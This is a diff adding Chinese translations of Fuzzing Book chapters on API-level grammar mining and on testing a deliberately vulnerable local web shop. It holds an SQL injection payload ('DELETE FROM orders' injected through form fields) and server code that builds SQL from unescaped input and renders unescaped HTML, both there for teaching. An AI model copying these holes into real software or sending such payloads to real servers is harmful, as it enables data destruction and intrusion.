+            if function_list is None and (function_name.startswith("_") or function_name.startswith("<")):
+                continue  # Internal function
+
+            # Ignore errors with mined functions
+            try:
+                function_grammar, function_symbol = self.mine_function_grammar(
+                    function_name, grammar)
+            except:
+                if function_list is not None:
+                    raise
+
+            if function_symbol not in grammar[self.CALL_SYMBOL]:
+                grammar[self.CALL_SYMBOL].append(function_symbol)
+            grammar.update(function_grammar)
+
+        assert is_valid_grammar(grammar)
+        return grammar
+
+```
+
+客户可以并且应该使用的方法`mine_call_grammar()` –首先用于挖掘...
+
+```py
+m = CallGrammarMiner(power_carver)
+power_grammar = m.mine_call_grammar()
+power_grammar
+
+```
+
+```py
+{'<start>': ['<call>'],
+ '<call>': ['<power>'],
+ '<power-x>': ['1', '3'],
+ '<power-y>': ['4', '2'],
+ '<power>': ['power(<power-x>, <power-y>)']}
+
+```
+
+...然后进行模糊测试：
+
+```py
+power_fuzzer = GrammarCoverageFuzzer(power_grammar)
+[power_fuzzer.fuzz() for i in range(5)]
+
+```
+
+```py
+['power(3, 4)', 'power(1, 2)', 'power(3, 4)', 'power(3, 4)', 'power(1, 4)']
+
+```
+
+这样，我们就成功地从记录的执行中提取了语法。 与“简单”的雕刻相反，我们的语法使我们可以*重组*参数，从而可以在API级别进行模糊测试。
+
+## 模糊Web功能
+
+现在，让我们将语法挖掘器应用到更大的API –雕刻期间已经遇到的`urlparse()`函数。
+
+```py
+with CallCarver() as webbrowser_carver:
+    webbrowser("https://www.fuzzingbook.org")
+    webbrowser("http://www.example.com")
+
+```
+
+我们可以从遇到的电话中挖掘语法：
+
+```py
+m = CallGrammarMiner(webbrowser_carver)
+webbrowser_grammar = m.mine_call_grammar()
+
+```
+
+这是一个相当大的语法：
+
+```py
+call_list = webbrowser_grammar['<call>']
+len(call_list)
+
+```
+
+```py
+151
+
+```
+
+```py
+print(call_list[:20])
+
+```
+
+```py
+['<webbrowser>', '<default_headers>', '<default_user_agent>', '<update>', '<default_hooks>', '<cookiejar_from_dict>', '<RLock>', '<deepvalues>', '<vals_sorted_by_key>', '<init_poolmanager>', '<mount>', '<prepare_request>', '<merge_cookies>', '<get_netrc_auth>', '<expanduser>', '<encode>', '<decode>', '<exists>', '<urlparse>', '<urlsplit>']
+
+```
+
+这是`urlsplit()`函数的规则：
+
+```py
+webbrowser_grammar["<urlsplit>"]
+
+```
+
+```py
+['urlsplit(<urlsplit-url>, <urlsplit-scheme>, <urlsplit-allow_fragments>)']
+
+```
+
+这是参数。 请注意，尽管我们只传递了`http://www.fuzzingbook.org`作为参数，但我们也看到了`https:`变体。 那是因为打开`http:` URL会自动重定向到`https:` URL，然后`urlsplit()`也将对其进行处理。
+
+```py
+webbrowser_grammar["<urlsplit-url>"]
+
+```
+
+```py
+["'https://www.fuzzingbook.org/'",
+ "'https://www.fuzzingbook.org'",
+ "'http://www.example.com/'",
+ "'http://www.example.com'"]
+
+```
+
+`scheme`参数也有一些变化：
+
+```py
+webbrowser_grammar["<urlsplit-scheme>"]
+
+```
+
+```py
+["''"]
+
+```
+
+如果现在在这些规则上应用模糊器，我们将系统地涵盖所看到的所有参数变体，当然包括雕刻期间未看到的组合。 再次，我们在这里在API级别进行模糊测试。
+
+```py
+urlsplit_fuzzer = GrammarCoverageFuzzer(
+    webbrowser_grammar, start_symbol="<urlsplit>")
+for i in range(5):
+    print(urlsplit_fuzzer.fuzz())
+
+```
+
+```py
+urlsplit('https://www.fuzzingbook.org', '', True)
+urlsplit('https://www.fuzzingbook.org/', '', True)
+urlsplit('http://www.example.com', '', True)
+urlsplit('http://www.example.com/', '', True)
+urlsplit('http://www.example.com', '', True)
+
+```
+
+就像雕刻一样，在API级别运行测试比执行系统测试快几个数量级。 因此，这需要在方法级别进行模糊测试的手段：
+
+```py
+from [urllib.parse](https://docs.python.org/3/library/urllib.parse.html) import urlsplit
+
+```
+
+```py
+from [Timer](Timer.html) import Timer
+
+```
+
+```py
+with Timer() as urlsplit_timer:
+    urlsplit('http://www.fuzzingbook.org/', 'http', True)
+urlsplit_timer.elapsed_time()
+
+```
+
+```py
+1.5235999853757676e-05
+
+```
+
+```py
+with Timer() as webbrowser_timer:
+    webbrowser("http://www.fuzzingbook.org")
+webbrowser_timer.elapsed_time()
+
+```
+
+```py
+0.07453407400043943
+
+```
+
+```py
+webbrowser_timer.elapsed_time() / urlsplit_timer.elapsed_time()
+
+```
+
+```py
+4891.971299281484
+
+```
+
+但是再一次，雕刻时遇到的警告适用，尤其是重新创建原始功能环境的要求。 如果我们也更改或重新组合参数，则会有*违反隐式前提*的额外风险-也就是说，使用从未设计过的参数调用函数。 然后，必须识别（通常是手动）由错误的调用而不是由错误的实现导致的此类*错误警报*，并清除（例如，通过更改或限制语法）。 但是，在API级别获得的巨大速度提升可能足以证明这项额外投资的合理性。
+
+## 经验教训
+
+*   *雕刻*允许有效重播系统测试期间记录的功能调用。
+*   函数调用比系统调用快几个数量级。
+*   *序列化*允许创建复杂对象的持久表示。
+*   与环境紧密交互和/或访问外部资源的功能很难实现。
+*   通过刻划调用，可以生成可任意组合刻划参数的API语法。
+
+## 后续步骤
+
+在下一章中，我们将讨论[如何减少引起故障的输入](Reducer.html)。
+
+## 背景
+
+雕刻是Elbaum等人发明的。 [ [Elbaum *等人*，2006。](https://doi.org/10.1145/1181775.1181806)]最初是为Java实现的。 在本章中，我们遵循它们的几种设计选择（仅包括记录和序列化方法参数）。
+
+在[ [Kampmann *等人*，2018\.](https://arxiv.org/abs/1812.07932) ]中描述了API级别的雕刻和模糊化的组合。
+
+## 练习
+
+### 练习1：渴望进行回归测试
+
+到目前为止，在雕刻期间，我们仅研究了再现*调用*的过程，而没有研究实际检查这些调用的*结果*的过程。 这对于*回归测试*非常重要-即检查代码更改是否不妨碍现有功能。 我们不仅可以记录*调用*，还可以记录*返回值*，然后再比较相同的调用是否产生相同的值来构建此文件。 这可能并非在所有情况下都有效； 取决于时间，随机性或其他外部因素的值可能会有所不同。 尽管如此，对于从这些细节中抽象出来的功能，检查是否没有任何变化仍然是测试的重要组成部分。
+
+我们的目标是设计一个通过记录调用和返回值来扩展`CallCarver`的类`ResultCarver`。
+
+第一步，创建一个`traceit()`方法，该方法还通过扩展`traceit()`方法来跟踪返回值。 `traceit()`事件类型为`"return"`，`arg`参数为返回值。 这是一个仅打印出返回值的原型：
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/Carver.ipynb#Exercises) to work on the exercises and see solutions.
+
+```py
+class ResultCarver(CallCarver):
+    def traceit(self, frame, event, arg):
+        if event == "return":
+            if self._log:
+                print("Result:", arg)
+
+        super().traceit(frame, event, arg)
+        # Need to return traceit function such that it is invoked for return
+        # events
+        return self.traceit
+
+```
+
+```py
+with ResultCarver(log=True) as result_carver:
+    my_sqrt(2)
+
+```
+
+```py
+my_sqrt(x=2)
+Result: 1.414213562373095
+__exit__(self=<__main__.ResultCarver object at 0x1a22161c18>, exc_type=None, exc_value=None, tb=None)
+
+```
+
+#### 第1部分：存储函数结果
+
+扩展上面的代码，以便将结果与当前返回的函数（或方法）相关联地存储在中。 为此，您需要跟踪*当前被调用函数*的堆栈。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/Carver.ipynb#Exercises) to work on the exercises and see solutions.
+
+#### 第2部分：访问结果
+
+给它一个方法`result()`，该方法返回为该特定函数名和结果记录的值：
+
+```py
+class ResultCarver(CallCarver):
+    def result(self, function_name, argument):
+        """Returns the result recorded for function_name(argument"""
+
+```
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/Carver.ipynb#Exercises) to work on the exercises and see solutions.
+
+#### 第3部分：产生断言
+
+对于在`webbrowser()`执行期间调用的函数，创建一组*断言*，以检查返回的结果是否仍然相同。 对`urllib.parse.urlparse()`和`urllib.parse.urlsplit()`进行测试。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/Carver.ipynb#Exercises) to work on the exercises and see solutions.
+
+### 练习2：抽象参数
+
+从执行中挖掘API语法时，请建立抽象方案以扩大测试期间要使用的参数范围。 如果参数的值全部符合某种`T`类型。 将其抽象为`<T>`。 例如，如果已经看到对`foo(1)`，`foo(2)`和`foo(3)`的调用，则语法应将其调用抽象为`foo(<int>)`，并适当定义`<int>`。
+
+对许多常见类型执行此操作：整数，正数，浮点数，主机名，URL，邮件地址等。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/Carver.ipynb#Exercises) to work on the exercises and see solutions.
\ No newline at end of file
diff --git a/new/fuzzing-book-zh/33.md b/new/fuzzing-book-zh/33.md
new file mode 100644
index 0000000000000000000000000000000000000000..d94c448fd4f45798787621663375697f5285d367
--- /dev/null
+++ b/new/fuzzing-book-zh/33.md
@@ -0,0 +1,2855 @@
+# 测试Web应用程序
+
+> 原文： [https://www.fuzzingbook.org/html/WebFuzzer.html](https://www.fuzzingbook.org/html/WebFuzzer.html)
+
+在本章中，我们探索如何为图形用户界面（GUI）生成测试，尤其是在Web界面上。 我们设置了一个（脆弱的）Web服务器并演示了如何系统地探索其行为-首先使用手写语法，然后使用从用户界面自动推断出的语法。 我们还将展示如何对这些服务器进行系统的攻击，特别是通过代码和SQL注入。
+
+**前提条件**
+
+*   本章中的技术利用[语法对](Grammars.html)进行模糊处理。
+*   需要HTML和HTTP的基本知识。
+*   SQL数据库的知识是有帮助的。
+
+## 内容提要
+
+要使用本章中提供的代码来[，请编写](Importing.html)
+
+```py
+>>> from [fuzzingbook.WebFuzzer](WebFuzzer.html) import <identifier>
+
+```
+
+然后利用以下功能。
+
+本章提供了一个简单的（易受攻击的）Web服务器以及两个应用于其的实验性模糊测试器。
+
+### 模糊Web表单
+
+`WebFormFuzzer`演示了如何与Web表单进行交互。 给定具有Web表单的URL，它将自动提取产生URL的语法。 该URL包含所有表单元素的值。 支持仅限于GET表单和HTML表单元素的子集。
+
+这是为我们易受攻击的Web服务器提取的语法：
+
+```py
+>>> web_form_fuzzer = WebFormFuzzer(httpd_url)
+>>> web_form_fuzzer.grammar['<start>']
+['<action>?<query>']
+>>> web_form_fuzzer.grammar['<action>']
+['/order']
+>>> web_form_fuzzer.grammar['<query>']
+['<item>&<name>&<email-1>&<city>&<zip>&<terms>&<submit-1>']
+
+```
+
+使用它进行模糊处理会产生一条路径，其中所有表单值都已填充； 访问此路径的行为就像填写并提交表单一样。
+
+```py
+>>> web_form_fuzzer.fuzz()
+'/order?item=lockset&name=%43+&email=+c%40_+c&city=%37b_4&zip=5&terms=on&submit='
+
+```
+
+重复调用`WebFormFuzzer.fuzz()`会一次又一次地调用该表单，每次具有不同的（模糊的）值。
+
+### SQL注入攻击
+
+`SQLInjectionFuzzer`是`WebFormFuzzer`的实验性扩展，其构造函数采用了额外的*有效负载*-一种要在服务器上注入并执行的SQL命令。 否则，其用法类似于`WebFormFuzzer`：
+
+```py
+>>> sql_fuzzer = SQLInjectionFuzzer(httpd_url, "DELETE FROM orders")
+>>> sql_fuzzer.fuzz()
+"/order?item=lockset&name=+&email=0%404&city=+'+)%3b+DELETE+FROM+orders%3b+--&zip='+OR+1%3d1--'&terms=on&submit="
+
+```
+
+如您所见，要检索的路径包含编码为表单字段值之一的有效负载。
+
+`SQLInjectionFuzzer`是有关如何构建恶意模糊测试的概念验证； 您应该研究并扩展其代码以实际使用它。
+
+## Web用户界面
+
+让我们从一个简单的例子开始。 我们想建立一个 *Web服务器*，使本书的读者可以购买fuzzingbook品牌的粉丝文章。 实际上，我们将为此目的使用现有的Web shop（或适当的框架）。 就本书而言，我们*基于Python库提供的HTTP服务器功能编写了自己的Web服务器*。
+
+我们所有的Web服务器都定义在`HTTPRequestHandler`中，顾名思义，该服务器可处理任意Web页面请求。
+
+```py
+from [http.server](https://docs.python.org/3/library/http.server.html) import HTTPServer, BaseHTTPRequestHandler, HTTPStatus
+
+```
+
+```py
+class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
+    pass
+
+```
+
+### 接受订单
+
+对于我们的Web服务器，我们需要许多网页：
+
+*   我们想要一页客户可以下订单的页面。
+*   我们需要一页确认订单的页面。
+*   此外，我们需要页面显示错误消息，例如“找不到页面”。
+
+我们从订购单开始。 字典`FUZZINGBOOK_SWAG`包含客户可以订购的商品以及详细说明：
+
+```py
+import [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils)
+
+```
+
+```py
+FUZZINGBOOK_SWAG = {
+    "tshirt": "One FuzzingBook T-Shirt",
+    "drill": "One FuzzingBook Rotary Hammer",
+    "lockset": "One FuzzingBook Lock Set"
+}
+
+```
+
+这是订单的HTML代码。 从`FUZZINGBOOK_SWAG`动态创建用于选择要订购的赃物的菜单。 我们忽略了许多细节，例如精确的送货地址，付款方式，购物车等。
+
+```py
+HTML_ORDER_FORM = """
+<html><body>
+<form action="/order" style="border:3px; border-style:solid; border-color:#FF0000; padding: 1em;">
+ <strong id="title" style="font-size: x-large">Fuzzingbook Swag Order Form</strong>
+ <p>
+ Yes! Please send me at your earliest convenience
+ <select name="item">
+ """
+# (We don't use h2, h3, etc. here as they interfere with the notebook table of contents)
+
+for item in FUZZINGBOOK_SWAG:
+    HTML_ORDER_FORM += \
+        '<option value="{item}">{name}</option>\n'.format(item=item,
+            name=FUZZINGBOOK_SWAG[item])
+
+HTML_ORDER_FORM += """
+ </select>
+ <br>
+ <table>
+ <tr><td>
+ <label for="name">Name: </label><input type="text" name="name">
+ </td><td>
+ <label for="email">Email: </label><input type="email" name="email"><br>
+ </td></tr>
+ <tr><td>
+ <label for="city">City: </label><input type="text" name="city">
+ </td><td>
+ <label for="zip">ZIP Code: </label><input type="number" name="zip">
+ </tr></tr>
+ </table>
+ <input type="checkbox" name="terms"><label for="terms">I have read
+ the <a href="/terms">terms and conditions</a></label>.<br>
+ <input type="submit" name="submit" value="Place order">
+</p>
+</form>
+</body></html>
+"""
+
+```
+
+订单如下所示：
+
+```py
+from [IPython.display](https://ipython.readthedocs.io/en/stable/api/generated/IPython.display.html) import display
+
+```
+
+```py
+from [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils) import HTML
+
+```
+
+```py
+HTML(HTML_ORDER_FORM)
+
+```
+
+<form action="/order" style="border:3px; border-style:solid; border-color:#FF0000; padding: 1em;">**Fuzzingbook Swag Order Form**
+
+是! 请尽快给我发送邮件 <select name="item"><option value="tshirt">一件FuzzingBook T恤</option> <option value="drill">一件FuzzingBook旋转锤</option> <option value="lockset">一件FuzzingBook锁具</option></select>
+
+| <label for="name">名称：</label> <input name="name" type="text"> | <label for="email">电子邮件：</label> <input name="email" type="email">
+ |
+| <label for="city">城市：</label> <input name="city" type="text"> | <label for="zip">邮政编码：</label> <input name="zip" type="number"> |
+
+<input name="terms" type="checkbox"><label for="terms">I have read the [terms and conditions](/terms)</label>.
+<input name="submit" type="submit" value="Place order"></form>
+
+该表单尚无功能，因为它后面没有服务器。 按“下订单”将导致您到一个不存在的页面。
+
+### 订单确认
+
+获得订单后，我们将显示一个确认页面，该页面将使用之前提交的客户信息进行实例化。 这是HTML和渲染：
+
+```py
+HTML_ORDER_RECEIVED = """
+<html><body>
+<div style="border:3px; border-style:solid; border-color:#FF0000; padding: 1em;">
+ <strong id="title" style="font-size: x-large">Thank you for your Fuzzingbook Order!</strong>
+ <p id="confirmation">
+ We will send <strong>{item_name}</strong> to {name} in {city}, {zip}<br>
+ A confirmation mail will be sent to {email}.
+ </p>
+ <p>
+ Want more swag?  Use our <a href="/">order form</a>!
+ </p>
+</div>
+</body></html>
+"""
+
+```
+
+```py
+HTML(HTML_ORDER_RECEIVED.format(item_name="One FuzzingBook Rotary Hammer",
+                                name="Jane Doe",
+                                email="doe@example.com",
+                                city="Seattle",
+                                zip="98104"))
+
+```
+
+**Thank you for your Fuzzingbook Order!**
+
+我们将向西雅图的简·多伊（Jane Doe）发送**一本FuzzingBook旋转锤**，邮编：98104
+，确认邮件将发送至doe@example.com。
+
+要更多赃物吗？ 使用我们的[订单](/)！
+
+### 条款
+
+只有具有必要的法律法规的网站才能完整。 此页面显示一些条款和条件。
+
+```py
+HTML_TERMS_AND_CONDITIONS = """
+<html><body>
+<div style="border:3px; border-style:solid; border-color:#FF0000; padding: 1em;">
+ <strong id="title" style="font-size: x-large">Fuzzingbook Terms and Conditions</strong>
+ <p>
+ The content of this project is licensed under the
+ <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/">Creative Commons
+ Attribution-NonCommercial-ShareAlike 4.0 International License.</a>
+ </p>
+ <p>
+ To place an order, use our <a href="/">order form</a>.
+ </p>
+</div>
+</body></html>
+"""
+
+```
+
+```py
+HTML(HTML_TERMS_AND_CONDITIONS)
+
+```
+
+**Fuzzingbook Terms and Conditions**
+
+该项目的内容已根据[知识共享署名-非商业性-相同方式共享国际许可4.0许可。](https://creativecommons.org/licenses/by-nc-sa/4.0/)
+
+要下订单，请使用我们的[订单表格](/)。
+
+## 储存订单
+
+为了存储订单，我们利用存储在文件`orders.db`中的*数据库*。
+
+```py
+import [sqlite3](https://docs.python.org/3/library/sqlite3.html)
+import [os](https://docs.python.org/3/library/os.html)
+
+```
+
+```py
+ORDERS_DB = "orders.db"
+
+```
+
+为了与数据库交互，我们使用 *SQL命令*。 以下命令创建一个包含五个文本列的表格，其中包含项目，名称，电子邮件，城市和邮政编码-我们在HTML表单中也使用完全相同的字段。
+
+```py
+def init_db():
+    if os.path.exists(ORDERS_DB):
+        os.remove(ORDERS_DB)
+
+    db_connection = sqlite3.connect(ORDERS_DB)
+    db_connection.execute("DROP TABLE IF EXISTS orders")
+    db_connection.execute("CREATE TABLE orders (item text, name text, email text, city text, zip text)")
+    db_connection.commit()
+
+    return db_connection
+
+```
+
+```py
+db = init_db()
+
+```
+
+此时，数据库仍然为空：
+
+```py
+print(db.execute("SELECT * FROM orders").fetchall())
+
+```
+
+```py
+[]
+
+```
+
+我们可以使用SQL `INSERT`命令添加条目：
+
+```py
+db.execute("INSERT INTO orders " +
+           "VALUES ('lockset', 'Walter White', 'white@jpwynne.edu', 'Albuquerque', '87101')")
+db.commit()
+
+```
+
+这些值现在在数据库中：
+
+```py
+print(db.execute("SELECT * FROM orders").fetchall())
+
+```
+
+```py
+[('lockset', 'Walter White', 'white@jpwynne.edu', 'Albuquerque', '87101')]
+
+```
+
+我们还可以再次从表中删除条目（例如，在完成订单后）：
+
+```py
+db.execute("DELETE FROM orders WHERE name = 'Walter White'")
+db.commit()
+
+```
+
+```py
+print(db.execute("SELECT * FROM orders").fetchall())
+
+```
+
+```py
+[]
+
+```
+
+### 处理HTTP请求
+
+我们有一个订单和一个数据库； 现在我们需要一个将所有内容整合在一起的Web服务器。 Python `http.server`模块提供了构建简单HTTP服务器所需的一切。 `HTTPRequestHandler`是接收并处理HTTP请求的对象-特别是用于检索Web页面的`GET`请求。
+
+我们实现了`do_GET()`方法，该方法基于给定的路径分支到服务于请求的Web页面。 请求路径`/`产生订单； 以`/order`开头的路径发送要处理的订单。 所有其他请求以`Page Not Found`消息结尾。
+
+```py
+class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
+    def do_GET(self):
+        try:
+            # print("GET " + self.path)
+            if self.path == "/":
+                self.send_order_form()
+            elif self.path.startswith("/order"):
+                self.handle_order()
+            elif self.path.startswith("/terms"):
+                self.send_terms_and_conditions()
+            else:
+                self.not_found()
+        except Exception:
+            self.internal_server_error()
+
+```
+
+#### 订单
+
+进入首页（即在`/`处获取页面）很简单：我们按照上面的定义去服务`html_order_form`。
+
+```py
+class SimpleHTTPRequestHandler(SimpleHTTPRequestHandler):
+    def send_order_form(self):
+        self.send_response(HTTPStatus.OK, "Place your order")
+        self.send_header("Content-type", "text/html")
+        self.end_headers()
+        self.wfile.write(HTML_ORDER_FORM.encode("utf8"))
+
+```
+
+同样，我们可以发送条款和条件：
+
+```py
+class SimpleHTTPRequestHandler(SimpleHTTPRequestHandler):
+    def send_terms_and_conditions(self):
+        self.send_response(HTTPStatus.OK, "Terms and Conditions")
+        self.send_header("Content-type", "text/html")
+        self.end_headers()
+        self.wfile.write(HTML_TERMS_AND_CONDITIONS.encode("utf8"))
+
+```
+
+#### 处理订单
+
+当用户单击订单表单上的`Submit`时，Web浏览器将创建并检索该表单的URL。
+
+```py
+<hostname>/order?field_1=value_1&field_2=value_2&field_3=value_3
+```
+
+其中每个`field_i`是HTML表单中字段的名称，而`value_i`是用户提供的值。 值使用我们在覆盖的[一章中看到的CGI编码-也就是说，空格转换为`+`，非数字或字母的字符转换为`%nn`，其中`nn` 是字符的十六进制值。](Coverage.html)
+
+如果西雅图的Jane Doe [doe@example.com](mailto:doe@example.com) 订购了T恤，则这是浏览器创建的URL：
+
+```py
+<hostname>/order?item=tshirt&name=Jane+Doe&email=doe%40example.com&city=Seattle&zip=98104
+```
+
+处理查询时，HTTP请求处理程序的属性`self.path`保留访问的路径-即`<hostname>`之后的所有内容。 辅助方法`get_field_values()`采用`self.path`并返回值的字典。
+
+```py
+import [urllib.parse](https://docs.python.org/3/library/urllib.parse.html)
+
+```
+
+```py
+class SimpleHTTPRequestHandler(SimpleHTTPRequestHandler):
+    def get_field_values(self):
+        # Note: this fails to decode non-ASCII characters properly
+        query_string = urllib.parse.urlparse(self.path).query
+
+        # fields is { 'item': ['tshirt'], 'name': ['Jane Doe'], ...}
+        fields = urllib.parse.parse_qs(query_string, keep_blank_values=True)
+
+        values = {}
+        for key in fields:
+            values[key] = fields[key][0]
+
+        return values
+
+```
+
+方法`handle_order()`从URL中获取这些值，存储订单，然后返回确认订单的页面。 如果发生任何错误，它将发送内部服务器错误。
+
+```py
+class SimpleHTTPRequestHandler(SimpleHTTPRequestHandler):
+    def handle_order(self):
+        values = self.get_field_values()
+        self.store_order(values)
+        self.send_order_received(values)
+
+```
+
+存储订单利用了上面定义的数据库连接； 我们创建一个SQL命令实例化，该命令使用从URL中提取的值实例化。
+
+```py
+class SimpleHTTPRequestHandler(SimpleHTTPRequestHandler):
+    def store_order(self, values):
+        db = sqlite3.connect(ORDERS_DB)
+        # The following should be one line
+        sql_command = "INSERT INTO orders VALUES ('{item}', '{name}', '{email}', '{city}', '{zip}')".format(**values)
+        self.log_message("%s", sql_command)
+        db.executescript(sql_command)
+        db.commit()
+
+```
+
+存储订单后，我们发送确认HTML页面，该页面再次用URL中的值实例化。
+
+```py
+class SimpleHTTPRequestHandler(SimpleHTTPRequestHandler):
+    def send_order_received(self, values):
+        # Should use html.escape()
+        values["item_name"] = FUZZINGBOOK_SWAG[values["item"]]
+        confirmation = HTML_ORDER_RECEIVED.format(**values).encode("utf8")
+
+        self.send_response(HTTPStatus.OK, "Order received")
+        self.send_header("Content-type", "text/html")
+        self.end_headers()
+        self.wfile.write(confirmation)
+
+```
+
+#### 其他HTTP命令
+
+除了`GET`命令（可以完成所有繁重的工作）之外，HTTP服务器还可以支持其他HTTP命令。 我们支持`HEAD`命令，该命令返回网页的标题信息。 在我们的情况下，这始终为空。
+
+```py
+class SimpleHTTPRequestHandler(SimpleHTTPRequestHandler):
+    def do_HEAD(self):
+        # print("HEAD " + self.path)
+        self.send_response(HTTPStatus.OK)
+        self.send_header("Content-type", "text/html")
+        self.end_headers()
+
+```
+
+### 错误处理
+
+我们已经定义了用于提交和处理订单的页面； 现在，我们还需要几页来解决可能发生的错误。
+
+#### 找不到页面
+
+如果请求不存在的页面（即`/`或`/order`以外的任何页面），则会显示此页面。
+
+```py
+HTML_NOT_FOUND = """
+<html><body>
+<div style="border:3px; border-style:solid; border-color:#FF0000; padding: 1em;">
+ <strong id="title" style="font-size: x-large">Sorry.</strong>
+ <p>
+ This page does not exist.  Try our <a href="/">order form</a> instead.
+ </p>
+</div>
+</body></html>
+ """
+
+```
+
+```py
+HTML(HTML_NOT_FOUND)
+
+```
+
+**Sorry.**
+
+本页面不存在。 请改用我们的[订单](/)。
+
+方法`not_found()`负责使用适当的HTTP状态代码将其发送出去。
+
+```py
+class SimpleHTTPRequestHandler(SimpleHTTPRequestHandler):
+    def not_found(self):
+        self.send_response(HTTPStatus.NOT_FOUND, "Not found")
+
+        self.send_header("Content-type", "text/html")
+        self.end_headers()
+
+        message = HTML_NOT_FOUND
+        self.wfile.write(message.encode("utf8"))
+
+```
+
+#### 内部错误
+
+显示此页面显示可能发生的任何内部错误。 出于诊断目的，我们将其包括故障功能的回溯。
+
+```py
+HTML_INTERNAL_SERVER_ERROR = """
+<html><body>
+<div style="border:3px; border-style:solid; border-color:#FF0000; padding: 1em;">
+ <strong id="title" style="font-size: x-large">Internal Server Error</strong>
+ <p>
+ The server has encountered an internal error.  Go to our <a href="/">order form</a>.
+ <pre>{error_message}</pre>
+ </p>
+</div>
+</body></html>
+ """
+
+```
+
+```py
+HTML(HTML_INTERNAL_SERVER_ERROR)
+
+```
+
+**Internal Server Error**
+
+服务器遇到内部错误。 转到我们的[订单](/)。
+
+```py
+{error_message}
+```
+
+```py
+import [sys](https://docs.python.org/3/library/sys.html)
+import [traceback](https://docs.python.org/3/library/traceback.html)
+
+```
+
+```py
+class SimpleHTTPRequestHandler(SimpleHTTPRequestHandler):
+    def internal_server_error(self):
+        self.send_response(HTTPStatus.INTERNAL_SERVER_ERROR, "Internal Error")
+
+        self.send_header("Content-type", "text/html")
+        self.end_headers()
+
+        exc = traceback.format_exc()
+        self.log_message("%s", exc.strip())
+
+        message = HTML_INTERNAL_SERVER_ERROR.format(error_message=exc)
+        self.wfile.write(message.encode("utf8"))
+
+```
+
+### 记录
+
+我们的服务器在后台作为单独的进程运行，一直等待接收命令。 要查看其作用，我们实现了一种特殊的日志记录机制。 `httpd_message_queue`建立一个队列，一个进程（服务器）可以在其中存储Python对象，而另一个进程（笔记本）可以在其中检索它们。 我们使用它来传递来自服务器的日志消息，然后我们可以将其显示在笔记本中。
+
+```py
+from [multiprocessing](https://docs.python.org/3/library/multiprocessing.html) import Queue
+
+```
+
+```py
+HTTPD_MESSAGE_QUEUE = Queue()
+
+```
+
+让我们将两个消息放入队列：
+
+```py
+HTTPD_MESSAGE_QUEUE.put("I am another message")
+
+```
+
+```py
+HTTPD_MESSAGE_QUEUE.put("I am one more message")
+
+```
+
+为了区分服务器消息与笔记本电脑的其他部分，我们对它们进行了特殊格式化：
+
+```py
+from [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils) import rich_output, terminal_escape
+
+```
+
+```py
+def display_httpd_message(message):
+    if rich_output():
+        display(
+            HTML(
+                '<pre style="background: NavajoWhite;">' +
+                message +
+                "</pre>"))
+    else:
+        print(terminal_escape(message))
+
+```
+
+```py
+display_httpd_message("I am a httpd server message")
+
+```
+
+```py
+I am a httpd server message
+```
+
+方法`print_httpd_messages()`打印到目前为止队列中累积的所有消息：
+
+```py
+def print_httpd_messages():
+    while not HTTPD_MESSAGE_QUEUE.empty():
+        message = HTTPD_MESSAGE_QUEUE.get()
+        display_httpd_message(message)
+
+```
+
+```py
+import [time](https://docs.python.org/3/library/time.html)
+
+```
+
+```py
+time.sleep(1)
+print_httpd_messages()
+
+```
+
+```py
+I am another message
+```
+
+```py
+I am one more message
+```
+
+使用`clear_httpd_messages()`，我们可以静默丢弃所有待处理的消息：
+
+```py
+def clear_httpd_messages():
+    while not HTTPD_MESSAGE_QUEUE.empty():
+        HTTPD_MESSAGE_QUEUE.get()
+
+```
+
+请求处理程序中的方法`log_message()`利用队列来存储其消息：
+
+```py
+class SimpleHTTPRequestHandler(SimpleHTTPRequestHandler):
+    def log_message(self, format, *args):
+        message = ("%s - - [%s] %s\n" %
+                   (self.address_string(),
+                    self.log_date_time_string(),
+                    format % args))
+        HTTPD_MESSAGE_QUEUE.put(message)
+
+```
+
+在[雕刻](Carver.html)的章节中，我们引入了`webbrowser()`方法，该方法检索给定URL的内容。 现在，我们对其进行扩展，使其也可以打印出服务器生成的所有日志消息：
+
+```py
+import [requests](http://docs.python-requests.org/en/master/)
+
+```
+
+```py
+def webbrowser(url, mute=False):
+    """Download the http/https resource given by the URL"""
+    import [requests](http://docs.python-requests.org/en/master/)  # for imports
+
+    try:
+        r = requests.get(url)
+        contents = r.text
+    finally:
+        if not mute:
+            print_httpd_messages()
+        else:
+            clear_httpd_messages()
+
+    return contents
+
+```
+
+### 运行服务器
+
+在完成所有这些定义之后，我们现在就可以启动并运行Web服务器了。 我们在*本地主机*上运行服务器-也就是说，同一台计算机也运行此笔记本。 我们检查是否有可访问的端口，并将结果URL放入之前创建的队列中。
+
+```py
+def run_httpd_forever(handler_class):
+    host = "127.0.0.1"  # localhost IP
+    for port in range(8800, 9000):
+        httpd_address = (host, port)
+
+        try:
+            httpd = HTTPServer(httpd_address, handler_class)
+            break
+        except OSError:
+            continue
+
+    httpd_url = "http://" + host + ":" + repr(port)
+    HTTPD_MESSAGE_QUEUE.put(httpd_url)
+    httpd.serve_forever()
+
+```
+
+函数`start_httpd()`在一个单独的进程中启动服务器，我们使用`multiprocessing`模块开始该进程。 它从消息队列中检索其URL并返回它，以便我们可以开始与服务器对话。
+
+```py
+from [multiprocessing](https://docs.python.org/3/library/multiprocessing.html) import Process
+
+```
+
+```py
+def start_httpd(handler_class=SimpleHTTPRequestHandler):
+    clear_httpd_messages()
+
+    httpd_process = Process(target=run_httpd_forever, args=(handler_class,))
+    httpd_process.start()
+
+    httpd_url = HTTPD_MESSAGE_QUEUE.get()
+    return httpd_process, httpd_url
+
+```
+
+现在让我们启动服务器并保存其URL：
+
+```py
+httpd_process, httpd_url = start_httpd()
+httpd_url
+
+```
+
+```py
+'http://127.0.0.1:8800'
+
